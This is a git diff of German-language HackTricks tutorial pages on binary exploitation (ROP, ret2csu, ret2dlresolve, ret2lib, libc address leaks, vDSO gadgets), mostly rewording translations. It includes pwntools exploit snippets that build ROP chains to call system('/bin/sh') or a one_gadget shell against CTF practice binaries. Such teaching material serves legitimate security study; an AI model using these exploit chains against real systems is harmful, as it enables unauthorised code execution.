- **Mangel an Gadgets**: Wenn nicht genügend Gadgets vorhanden sind, wird es nicht möglich sein, eine ROP-Kette zu erzeugen.
- **Mangel an Gadgets**: Wenn nicht genügend Gadgets vorhanden sind, wird es nicht möglich sein, eine ROP-Kette zu generieren.
## ROP-basierte Techniken
@ -174,7 +174,7 @@ ret2lib/
rop-syscall-execv/
{{#endref}}
- **EBP2Ret & EBP Chaining**: Der erste wird EBP anstelle von EIP ausnutzen, um den Fluss zu steuern, und der zweite ist ähnlich wie Ret2lib, aber in diesem Fall wird der Fluss hauptsächlich mit EBP-Adressen gesteuert (obwohl es auch notwendig ist, EIP zu steuern).
- **EBP2Ret & EBP Chaining**: Der erste wird EBP anstelle von EIP missbrauchen, um den Fluss zu steuern, und der zweite ist ähnlich wie Ret2lib, aber in diesem Fall wird der Fluss hauptsächlich mit EBP-Adressen gesteuert (obwohl es auch notwendig ist, EIP zu steuern).
{{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@ -186,6 +186,6 @@ rop-syscall-execv/
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 Bit, Pie und nx aktiviert, kein Canary, überschreiben von RIP mit einer `vsyscall` Adresse mit dem alleinigen Zweck, zur nächsten Adresse im Stack zurückzukehren, die eine partielle Überschreibung der Adresse sein wird, um den Teil der Funktion zu erhalten, der das Flag ausgibt.
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, kein ASLR, ROP-Gadget, um den Stack ausführbar zu machen und zu Shellcode im Stack zu springen.
- arm64, kein ASLR, ROP Gadget, um den Stack ausführbar zu machen und zu Shellcode im Stack zu springen.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -28,14 +28,14 @@ Dieses Gadget ermöglicht es uns, diese Register zu steuern, indem wir Werte vom
2. Die zweite Sequenz verwendet die Werte, die wir eingerichtet haben, um ein paar Dinge zu tun:
- **Bestimmte Werte in andere Register verschieben**, um sie bereit zu machen, dass wir sie als Parameter in Funktionen verwenden können.
- **Einen Aufruf zu einem Ort durchführen**, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert werden.
- **Einen Aufruf zu einem Ort durchführen**, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert wird.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Vielleicht kennst du keine Adresse, um dort zu schreiben, und du **brauchst eine `ret`-Anweisung**. Beachte, dass das zweite Gadget ebenfalls **mit einem `ret` endet**, aber du musst einige **Bedingungen** erfüllen, um es zu erreichen:
3. Vielleicht kennst du keine Adresse, um dort zu schreiben, und du **brauchst eine `ret`-Anweisung**. Beachte, dass das zweite Gadget ebenfalls **mit einem `ret` enden wird**, aber du musst einige **Bedingungen** erfüllen, um es zu erreichen:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -49,8 +49,8 @@ ret
```
Die Bedingungen sind:
- `[r12 + rbx*8]` muss auf eine Adresse zeigen, die eine aufrufbare Funktion speichert (wenn keine Idee und kein PIE, kannst du einfach die `_init`-Funktion verwenden):
- Wenn `_init` bei `0x400560` ist, verwende GEF, um einen Zeiger im Speicher darauf zu suchen und mache `[r12 + rbx*8]` zur Adresse mit dem Zeiger auf `_init`:
- `[r12 + rbx*8]` muss auf eine Adresse zeigen, die eine aufrufbare Funktion speichert (wenn keine Idee und kein pie, kannst du einfach die `_init`-Funktion verwenden):
- Wenn \_init bei `0x400560` ist, verwende GEF, um einen Zeiger im Speicher darauf zu suchen und mache `[r12 + rbx*8]` zur Adresse mit dem Zeiger auf \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -71,6 +71,7 @@ Eine weitere Möglichkeit, **`rdi`** und **`rsi`** vom ret2csu-Gadget zu steuern
Überprüfen Sie diese Seite für weitere Informationen:
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
@ -84,7 +85,7 @@ Stellen Sie sich vor, Sie möchten einen Syscall durchführen oder eine Funktion
Hier kommt **ret2csu** ins Spiel:
1. **Register einrichten**: Verwenden Sie das erste magische Gadget, um Werte vom Stack in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) und r15 zu poppen.
2. **Das zweite Gadget verwenden**: Mit diesen gesetzten Registern verwenden Sie das zweite Gadget. Dies ermöglicht es Ihnen, Ihre gewählten Werte in `rdx` und `rsi` (von r14 und r13) zu verschieben, um Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Kontrolle von `r15` und `rbx` das Programm dazu bringen, eine Funktion an der Adresse aufzurufen, die Sie berechnen und in `[r15 + rbx*8]` platzieren.
2. **Das zweite Gadget verwenden**: Mit diesen gesetzten Registern verwenden Sie das zweite Gadget. Dies ermöglicht es Ihnen, Ihre gewählten Werte in `rdx` und `rsi` (von r14 und r13) zu verschieben und die Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Kontrolle von `r15` und `rbx` das Programm dazu bringen, eine Funktion an der Adresse aufzurufen, die Sie berechnen und in `[r15 + rbx*8]` platzieren.
Sie haben ein [**Beispiel, das diese Technik verwendet und es hier erklärt**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), und dies ist der endgültige Exploit, den es verwendet hat:
```python
@ -111,11 +112,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Beachten Sie, dass der vorherige Exploit nicht dazu gedacht ist, ein **`RCE`** durchzuführen, sondern lediglich eine Funktion namens **`win`** aufzurufen (indem die Adresse von `win` aus stdin, die in der ROP-Kette aufgerufen wird, in r15 gespeichert wird) mit einem dritten Argument mit dem Wert `0xdeadbeefcafed00d`.
> Beachten Sie, dass der vorherige Exploit nicht dazu gedacht ist, ein **`RCE`** durchzuführen, sondern lediglich eine Funktion namens **`win`** aufzurufen (indem die Adresse von `win` aus stdin, die in der ROP-Kette aufgerufen wird, entnommen und in r15 gespeichert wird) mit einem dritten Argument mit dem Wert `0xdeadbeefcafed00d`.
### Umgehen des Aufrufs und Erreichen von ret
Der folgende Exploit wurde [**von dieser Seite**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) extrahiert, wo das **ret2csu** verwendet wird, aber anstelle des Aufrufs wird **die Überprüfung umgangen und `ret`** nach dem Aufruf erreicht:
Der folgende Exploit wurde [**von dieser Seite**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) extrahiert, wo das **ret2csu** verwendet wird, aber anstelle des Aufrufs wird **die Überprüfung umgangen und das `ret`** nach dem Aufruf erreicht:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -167,6 +168,6 @@ target.interactive()
```
### Warum nicht einfach libc direkt verwenden?
In der Regel sind diese Fälle auch anfällig für [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), aber manchmal müssen Sie mehr Parameter steuern, als mit den Gadgets, die Sie direkt in libc finden, leicht kontrolliert werden können. Zum Beispiel erfordert die `write()`-Funktion drei Parameter, und **das Finden von Gadgets, um all diese direkt zu setzen, könnte nicht möglich sein**.
In der Regel sind diese Fälle auch anfällig für [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), aber manchmal müssen Sie mehr Parameter steuern, als mit den Gadgets, die Sie direkt in libc finden, leicht kontrolliert werden können. Zum Beispiel erfordert die `write()`-Funktion drei Parameter, und **es könnte nicht möglich sein, Gadgets zu finden, um all diese direkt zu setzen**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,17 +6,18 @@
Wie auf der Seite über [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) und [**Relro**](../common-binary-protections-and-bypasses/relro.md) erklärt, lösen Binaries ohne Full Relro Symbole (wie Adressen zu externen Bibliotheken) beim ersten Gebrauch auf. Diese Auflösung erfolgt durch den Aufruf der Funktion **`_dl_runtime_resolve`**.
Die Funktion **`_dl_runtime_resolve`** benötigt vom Stack Referenzen zu einigen Strukturen, um das angegebene Symbol zu **lösen**.
Die Funktion **`_dl_runtime_resolve`** benötigt von dem Stack Referenzen zu einigen Strukturen, die sie benötigt, um das angegebene Symbol zu **lösen**.
Daher ist es möglich, **alle diese Strukturen zu fälschen**, um die dynamische Verknüpfung des angeforderten Symbols (wie die Funktion **`system`**) zu ermöglichen und sie mit einem konfigurierten Parameter (z.B. **`system('/bin/sh')`**) aufzurufen.
Daher ist es möglich, **alle diese Strukturen zu fälschen**, um die dynamische Verknüpfung des angeforderten Symbols (wie der **`system`**-Funktion) zu ermöglichen und sie mit einem konfigurierten Parameter (z.B. **`system('/bin/sh')`**) aufzurufen.
In der Regel werden alle diese Strukturen gefälscht, indem eine **anfängliche ROP-Kette erstellt wird, die `read`** über einen beschreibbaren Speicher aufruft, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, sodass sie durch `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** aufruft, um die **Adresse von `system`** in den gefälschten Strukturen zu **lösen** und **diese Adresse** mit der Adresse zu `$'/bin/sh'` aufzurufen.
In der Regel werden all diese Strukturen gefälscht, indem eine **anfängliche ROP-Kette erstellt wird, die `read`** über einen beschreibbaren Speicher aufruft, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, sodass sie durch `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** aufruft, um die **Adresse von `system`** in den gefälschten Strukturen zu **lösen** und **diese Adresse** mit der Adresse zu `$'/bin/sh'` aufzurufen.
> [!TIP]
> Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie [**ret2syscall**](rop-syscall-execv/index.html) oder [SROP](srop-sigreturn-oriented-programming/index.html) zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen zu leaken.
Schau dir dieses Video für eine schöne Erklärung zu dieser Technik in der zweiten Hälfte des Videos an:
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
@ -28,9 +29,9 @@ Oder schau dir diese Seiten für eine Schritt-für-Schritt-Erklärung an:
## Angriffsübersicht
1. Falsche Strukturen an einem Ort schreiben
2. Das erste Argument von system setzen (`$rdi = &'/bin/sh'`)
3. Die Adressen zu den Strukturen auf dem Stack setzen, um **`_dl_runtime_resolve`** aufzurufen
1. Fälsche Strukturen an einem Ort
2. Setze das erste Argument von system (`$rdi = &'/bin/sh'`)
3. Setze auf dem Stack die Adressen zu den Strukturen, um **`_dl_runtime_resolve`** aufzurufen
4. **Rufe** `_dl_runtime_resolve` auf
5. **`system`** wird aufgelöst und mit `'/bin/sh'` als Argument aufgerufen
@ -58,7 +59,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
### Pure Pwntools
Sie können ein [**Beispiel dieser Technik hier finden**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **mit einer sehr guten Erklärung der finalen ROP-Kette**, aber hier ist der finale Exploit, der verwendet wurde:
Sie können ein [**Beispiel dieser Technik hier finden**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation), **das eine sehr gute Erklärung der finalen ROP-Kette enthält**, aber hier ist der finale Exploit, der verwendet wurde:
```python
from pwn import *

View File

@ -41,7 +41,7 @@ find "/bin/sh"
Wenn der Prozess **Kinder** erstellt, jedes Mal wenn Sie mit ihm sprechen (Netzwerkserver), versuchen Sie, diese Datei zu **lesen** (wahrscheinlich müssen Sie root sein).
Hier können Sie **genau herausfinden, wo die libc im Prozess geladen ist** und **wo sie für jedes Kind des Prozesses geladen wird**.
Hier können Sie **genau sehen, wo die libc im Prozess geladen ist** und **wo sie für jedes Kind des Prozesses geladen wird**.
![](<../../../images/image (853).png>)
@ -51,12 +51,14 @@ In diesem Fall ist sie bei **0xb75dc000** geladen (Dies wird die Basisadresse vo
Es könnte sein, dass Sie **nicht wissen, welche libc die Binärdatei lädt** (weil sie sich möglicherweise auf einem Server befindet, auf den Sie keinen Zugriff haben). In diesem Fall könnten Sie die Schwachstelle ausnutzen, um **einige Adressen zu leaken und herauszufinden, welche libc**-Bibliothek verwendet wird:
{{#ref}}
rop-leaking-libc-address/
{{#endref}}
Und Sie können eine pwntools-Vorlage dafür finden in:
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
@ -77,7 +79,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
## One Gadget
Führen Sie eine Shell aus, indem Sie einfach zu **einer** bestimmten **Adresse** in libc springen:
Führen Sie eine Shell aus, indem Sie zu **einer** bestimmten **Adresse** in libc springen:
{{#ref}}
one-gadget.md
@ -105,18 +107,20 @@ c.interactive()
Überprüfen Sie das Beispiel von:
{{#ref}}
../
{{#endref}}
## ARM64 Ret2lib Beispiel
Im Fall von ARM64 springt die ret-Anweisung dorthin, wo das x30-Register zeigt und nicht dorthin, wo das Stack-Register zeigt. Es ist also etwas komplizierter.
Im Fall von ARM64 springt die ret-Anweisung zu dem, worauf das x30-Register zeigt, und nicht zu dem, worauf das Stack-Register zeigt. Es ist also etwas komplizierter.
Auch in ARM64 führt eine Anweisung das aus, was die Anweisung tut (es ist nicht möglich, mitten in Anweisungen zu springen und sie in neue zu transformieren).
Außerdem führt eine Anweisung in ARM64 genau das aus, was die Anweisung tut (es ist nicht möglich, mitten in Anweisungen zu springen und sie in neue zu transformieren).
Überprüfen Sie das Beispiel von:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
@ -129,6 +133,7 @@ Dies ermöglicht es, **Informationen aus dem Prozess zu leaken**, indem `printf`
Das bedeutet im Grunde, eine **Ret2lib auszunutzen, um sie in eine `printf`-Formatstrings-Schwachstelle zu verwandeln**, indem `ret2lib` verwendet wird, um printf mit den Werten aufzurufen, um sie auszunutzen (klingt nutzlos, ist aber möglich):
{{#ref}}
../../format-strings/
{{#endref}}
@ -138,14 +143,14 @@ Das bedeutet im Grunde, eine **Ret2lib auszunutzen, um sie in eine `printf`-Form
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, gegeben ein Leak zur Adresse einer Funktion in libc, unter Verwendung eines Gadgets
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 Bit, ASLR aktiviert, aber kein PIE, der erste Schritt ist, einen Überlauf zu füllen, bis zum Byte 0x00 des Canary, um dann puts aufzurufen und es zu leaken. Mit dem Canary wird ein ROP-Gadget erstellt, um puts aufzurufen, um die Adresse von puts aus der GOT zu leaken und dann ein ROP-Gadget, um `system('/bin/sh')` aufzurufen.
- 64 Bit, ASLR aktiviert, aber kein PIE, der erste Schritt ist, einen Überlauf bis zum Byte 0x00 des Canary zu füllen, um dann puts aufzurufen und es zu leaken. Mit dem Canary wird ein ROP-Gadget erstellt, um puts aufzurufen, um die Adresse von puts aus der GOT zu leaken, und ein ROP-Gadget, um `system('/bin/sh')` aufzurufen.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 Bit, ASLR aktiviert, kein Canary, Stack-Overflow in main von einer Kindfunktion. ROP-Gadget, um puts aufzurufen, um die Adresse von puts aus der GOT zu leaken und dann ein Gadget aufzurufen.
- 64 Bit, ASLR aktiviert, kein Canary, Stack-Overflow in main von einer Kindfunktion. ROP-Gadget, um puts aufzurufen, um die Adresse von puts aus der GOT zu leaken, und dann ein Gadget aufzurufen.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 Bit, kein PIE, kein Canary, kein RELRO, NX. Verwendet die write-Funktion, um die Adresse von write (libc) zu leaken und ruft ein Gadget auf.
- 64 Bit, kein PIE, kein Canary, kein RELRO, NX. Verwendet die write-Funktion, um die Adresse von write (libc) zu leaken, und ruft ein Gadget auf.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Verwendet einen Format-String, um den Canary vom Stack zu leaken und einen Buffer-Overflow, um in system (es ist in der GOT) mit der Adresse von `/bin/sh` aufzurufen.
- Verwendet einen Format-String, um den Canary vom Stack zu leaken, und einen Buffer-Overflow, um in system (es ist in der GOT) mit der Adresse von `/bin/sh` zu gelangen.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 Bit, kein RELRO, kein Canary, NX, PIE. Missbraucht eine schlechte Indizierung, um Adressen von libc und Heap vom Stack zu leaken. Missbraucht den Buffer-Overflow, um ein ret2lib aufzurufen, das `system('/bin/sh')` aufruft (die Heap-Adresse wird benötigt, um eine Überprüfung zu umgehen).
- 32 Bit, kein RELRO, kein Canary, NX, PIE. Missbraucht eine schlechte Indizierung, um Adressen von libc und Heap vom Stack zu leaken. Missbraucht den Buffer-Overflow, um eine Ret2lib aufzurufen, die `system('/bin/sh')` aufruft (die Heap-Adresse wird benötigt, um eine Überprüfung zu umgehen).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -34,7 +34,8 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Leaking LIBC template
Lade den Exploit herunter und platziere ihn im selben Verzeichnis wie die verwundbare Binärdatei und gib die benötigten Daten an das Skript weiter:
Lade den Exploit herunter und platziere ihn im selben Verzeichnis wie die verwundbare Binary und gib die benötigten Daten an das Skript weiter:
{{#ref}}
rop-leaking-libc-template.md
@ -57,7 +58,7 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Führen Sie** `python template.py` aus, ein GDB-Konsole wird mit dem abgestürzten Programm geöffnet. Führen Sie in dieser **GDB-Konsole** `x/wx $rsp` aus, um die **Bytes** zu erhalten, die den RIP überschreiben sollten. Holen Sie sich schließlich den **Offset** mit einer **Python**-Konsole:
**Führen Sie** `python template.py` aus, ein GDB-Konsole wird geöffnet mit dem Programm, das abgestürzt ist. Führen Sie in dieser **GDB-Konsole** `x/wx $rsp` aus, um die **Bytes** zu erhalten, die den RIP überschreiben sollten. Holen Sie sich schließlich den **Offset** mit einer **Python**-Konsole:
```python
from pwn import *
cyclic_find(0x6161616b)
@ -71,7 +72,7 @@ Eine andere Möglichkeit wäre: `pattern create 1000` -- _ausführen bis ret_ --
## 2- Gadgets finden
Jetzt müssen wir ROP-Gadgets im Binärprogramm finden. Diese ROP-Gadgets werden nützlich sein, um `puts` aufzurufen, um die verwendete **libc** zu finden, und später um **den endgültigen Exploit zu starten**.
Jetzt müssen wir ROP-Gadgets im Binärprogramm finden. Diese ROP-Gadgets werden nützlich sein, um `puts` aufzurufen, um die verwendete **libc** zu finden, und später, um **den endgültigen Exploit zu starten**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -82,8 +83,8 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
Der `PUTS_PLT` wird benötigt, um die **Funktion puts** aufzurufen.\
Der `MAIN_PLT` wird benötigt, um die **Hauptfunktion** nach einer Interaktion erneut aufzurufen, um die **Überlauf** **erneut** auszunutzen (unendliche Runden der Ausnutzung). **Es wird am Ende jedes ROP verwendet, um das Programm erneut aufzurufen**.\
Die `PUTS_PLT` wird benötigt, um die **Funktion puts** aufzurufen.\
Die `MAIN_PLT` wird benötigt, um die **Hauptfunktion** nach einer Interaktion erneut aufzurufen, um die **Überlauf** **erneut** auszunutzen (unendliche Runden der Ausnutzung). **Sie wird am Ende jedes ROP verwendet, um das Programm erneut aufzurufen**.\
Der **POP_RDI** wird benötigt, um einen **Parameter** an die aufgerufene Funktion **zu übergeben**.
In diesem Schritt müssen Sie nichts ausführen, da alles während der Ausführung von pwntools gefunden wird.
@ -123,26 +124,26 @@ Um dies zu tun, ist die wichtigste Zeile des ausgeführten Codes:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Dies wird einige Bytes senden, bis **das Überschreiben** des **RIP** möglich ist: `OFFSET`.\
Dann wird die **Adresse** des Gadgets `POP_RDI` gesetzt, sodass die nächste Adresse (`FUNC_GOT`) im **RDI**-Register gespeichert wird. Das liegt daran, dass wir **puts aufrufen** möchten, **indem** wir ihm die **Adresse** von `PUTS_GOT` übergeben, da die Adresse im Speicher der puts-Funktion in der Adresse gespeichert ist, auf die `PUTS_GOT` zeigt.\
Danach wird `PUTS_PLT` aufgerufen (mit `PUTS_GOT` im **RDI**), sodass puts den **Inhalt** in `PUTS_GOT` (**die Adresse der puts-Funktion im Speicher**) **liest** und **ausgibt**.\
Schließlich wird die **Hauptfunktion erneut aufgerufen**, damit wir das Überlaufen erneut ausnutzen können.
Dies wird einige Bytes senden, bis **Überschreiben** des **RIP** möglich ist: `OFFSET`.\
Dann wird die **Adresse** des Gadgets `POP_RDI` gesetzt, sodass die nächste Adresse (`FUNC_GOT`) im **RDI**-Register gespeichert wird. Das liegt daran, dass wir **puts aufrufen** möchten, indem wir ihm die **Adresse** von `PUTS_GOT` übergeben, da die Adresse im Speicher der puts-Funktion in der Adresse gespeichert ist, die auf `PUTS_GOT` zeigt.\
Danach wird `PUTS_PLT` aufgerufen (mit `PUTS_GOT` im **RDI**), sodass puts den **Inhalt** innerhalb von `PUTS_GOT` (**die Adresse der puts-Funktion im Speicher**) **liest** und **ausgibt**.\
Schließlich wird die **Hauptfunktion erneut aufgerufen**, damit wir das Überlauf erneut ausnutzen können.
Auf diese Weise haben wir die **puts-Funktion** **getäuscht**, um die **Adresse** im **Speicher** der Funktion **puts** (die sich in der **libc**-Bibliothek befindet) **auszugeben**. Jetzt, da wir diese Adresse haben, können wir **herausfinden, welche libc-Version verwendet wird**.
![](<../../../../images/image (1049).png>)
Da wir einige **lokale** Binärdateien **ausnutzen**, ist es **nicht notwendig**, herauszufinden, welche Version von **libc** verwendet wird (einfach die Bibliothek in `/lib/x86_64-linux-gnu/libc.so.6` finden).\
Aber in einem Fall von Remote-Exploitation erkläre ich hier, wie Sie sie finden können:
Da wir einige **lokale** Binärdateien **ausnutzen**, ist es **nicht nötig**, herauszufinden, welche Version von **libc** verwendet wird (einfach die Bibliothek in `/lib/x86_64-linux-gnu/libc.so.6` finden).\
Aber in einem Fall von Remote-Exploitation erkläre ich hier, wie Sie es finden können:
### 3.1- Suche nach der libc-Version (1)
### 3.1- Suche nach libc-Version (1)
Sie können suchen, welche Bibliothek auf der Webseite verwendet wird: [https://libc.blukat.me/](https://libc.blukat.me)\
Es wird Ihnen auch ermöglichen, die entdeckte Version von **libc** herunterzuladen.
![](<../../../../images/image (221).png>)
### 3.2- Suche nach der libc-Version (2)
### 3.2- Suche nach libc-Version (2)
Sie können auch Folgendes tun:
@ -154,7 +155,7 @@ Das wird einige Zeit in Anspruch nehmen, seien Sie geduldig.\
Damit dies funktioniert, benötigen wir:
- Libc-Symbolname: `puts`
- Leaked libc-Adresse: `0x7ff629878690`
- Geleakte libc-Adresse: `0x7ff629878690`
Wir können herausfinden, welche **libc** höchstwahrscheinlich verwendet wird.
```bash
@ -195,7 +196,7 @@ if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> [!TIP]
> Beachten Sie, dass **die endgültige libc-Basisadresse mit 00 enden muss**. Wenn das nicht der Fall ist, haben Sie möglicherweise eine falsche Bibliothek geleakt.
Dann werden die Adresse der Funktion `system` und die **Adresse** des Strings _"/bin/sh"_ von der **Basisadresse** der **libc** berechnet und der **libc-Bibliothek** gegeben.
@ -218,8 +219,8 @@ p.sendline(rop2)
p.interactive() #Interact with the conenction
```
Lass uns dieses letzte ROP erklären.\
Das letzte ROP (`rop1`) hat erneut die Hauptfunktion aufgerufen, dann können wir die **Overflow** erneut **ausnutzen** (deshalb ist der `OFFSET` hier wieder). Dann wollen wir `POP_RDI` auf die **Adresse** von _"/bin/sh"_ (`BINSH`) zeigen und die **system** Funktion (`SYSTEM`) aufrufen, da die Adresse von _"/bin/sh"_ als Parameter übergeben wird.\
Schließlich wird die **Adresse der Exit-Funktion** **aufgerufen**, damit der Prozess **schön endet** und keine Warnung generiert wird.
Das letzte ROP (`rop1`) hat erneut die Hauptfunktion aufgerufen, dann können wir die **Overflow** erneut **ausnutzen** (deshalb ist der `OFFSET` hier wieder). Dann wollen wir `POP_RDI` aufrufen, das auf die **Adresse** von _"/bin/sh"_ (`BINSH`) zeigt, und die **system**-Funktion (`SYSTEM`) aufrufen, da die Adresse von _"/bin/sh"_ als Parameter übergeben wird.\
Schließlich wird die **Adresse der Exit-Funktion** **aufgerufen**, damit der Prozess **schön beendet** wird und keine Warnung generiert wird.
**So wird der Exploit eine _/bin/sh_ Shell ausführen.**
@ -227,7 +228,7 @@ Schließlich wird die **Adresse der Exit-Funktion** **aufgerufen**, damit der Pr
## 4(2)- Verwendung von ONE_GADGET
Du könntest auch [**ONE_GADGET** ](https://github.com/david942j/one_gadget) verwenden, um eine Shell zu erhalten, anstatt **system** und **"/bin/sh"** zu verwenden. **ONE_GADGET** findet in der libc-Bibliothek eine Möglichkeit, eine Shell mit nur einer **ROP-Adresse** zu erhalten.\
Du könntest auch [**ONE_GADGET** ](https://github.com/david942j/one_gadget) verwenden, um eine Shell zu erhalten, anstatt **system** und **"/bin/sh"** zu verwenden. **ONE_GADGET** wird in der libc-Bibliothek eine Möglichkeit finden, eine Shell mit nur einer **ROP-Adresse** zu erhalten.\
Normalerweise gibt es jedoch einige Einschränkungen, die häufigsten und am einfachsten zu vermeidenden sind wie `[rsp+0x30] == NULL`. Da du die Werte im **RSP** kontrollierst, musst du nur einige weitere NULL-Werte senden, damit die Einschränkung umgangen wird.
![](<../../../../images/image (754).png>)
@ -239,6 +240,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
Sie finden eine Vorlage, um diese Schwachstelle auszunutzen, hier:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}

View File

@ -4,7 +4,7 @@
## Grundinformationen
Es könnte **Gadgets im vDSO-Bereich** geben, der verwendet wird, um vom Benutzermodus in den Kernelmodus zu wechseln. Bei diesen Arten von Herausforderungen wird normalerweise ein Kernel-Image bereitgestellt, um den vDSO-Bereich zu dumpen.
Es könnte **Gadgets im vDSO-Bereich** geben, der verwendet wird, um vom Benutzermodus in den Kernelmodus zu wechseln. In diesen Arten von Herausforderungen wird normalerweise ein Kernel-Image bereitgestellt, um den vDSO-Bereich zu dumpen.
Anhand des Beispiels von [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) ist es möglich zu sehen, wie es möglich war, den vDSO-Bereich zu dumpen und ihn mit:
```bash
@ -32,7 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
Gefundene ROP-Gadgets:
ROP-Gadgets gefunden:
```python
vdso_addr = 0xf7ffc000
@ -52,12 +52,13 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
> [!CAUTION]
> Beachten Sie daher, wie es möglich sein könnte, **ASLR durch den Missbrauch des vdso zu umgehen**, wenn der Kernel mit CONFIG_COMPAT_VDSO kompiliert ist, da die vdso-Adresse nicht randomisiert wird: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
> Beachten Sie daher, wie es möglich sein könnte, **ASLR durch Ausnutzung des vdso zu umgehen**, wenn der Kernel mit CONFIG_COMPAT_VDSO kompiliert ist, da die vdso-Adresse nicht randomisiert wird: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
Nachdem ich den vdso-Bereich einer Binärdatei in Kali 2023.2 arm64 dumpen und überprüfen konnte, fand ich dort kein interessantes Gadget (keine Möglichkeit, Register von Werten im Stack zu steuern oder x30 für einen Rücksprung zu kontrollieren) **außer einer Möglichkeit, ein SROP aufzurufen**. Weitere Informationen finden Sie im Beispiel auf der Seite:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md
{{#endref}}

View File

@ -43,7 +43,7 @@ Start End Offset Perm Path
